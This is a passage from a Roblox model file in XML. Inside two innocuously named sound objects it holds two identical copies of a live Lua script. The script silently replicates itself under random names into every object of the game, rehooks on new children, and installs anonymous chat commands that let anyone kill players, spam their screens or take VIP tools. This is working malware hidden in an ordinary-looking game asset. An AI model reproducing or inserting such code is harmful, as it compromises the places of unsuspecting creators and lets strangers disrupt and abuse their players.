							<Z>0</Z>
						</Vector3>
						<float name="WalkRotationalVelocity">0</float>
						<float name="WalkSpeed">16</float>
						<Ref name="WalkToPart">null</Ref>
						<Vector3 name="WalkToPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX283">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">spdm3pgax</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX284">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">cdny3ffb</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX285">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">hywxtdtb</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX286">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">q80tyynnb</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX287">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
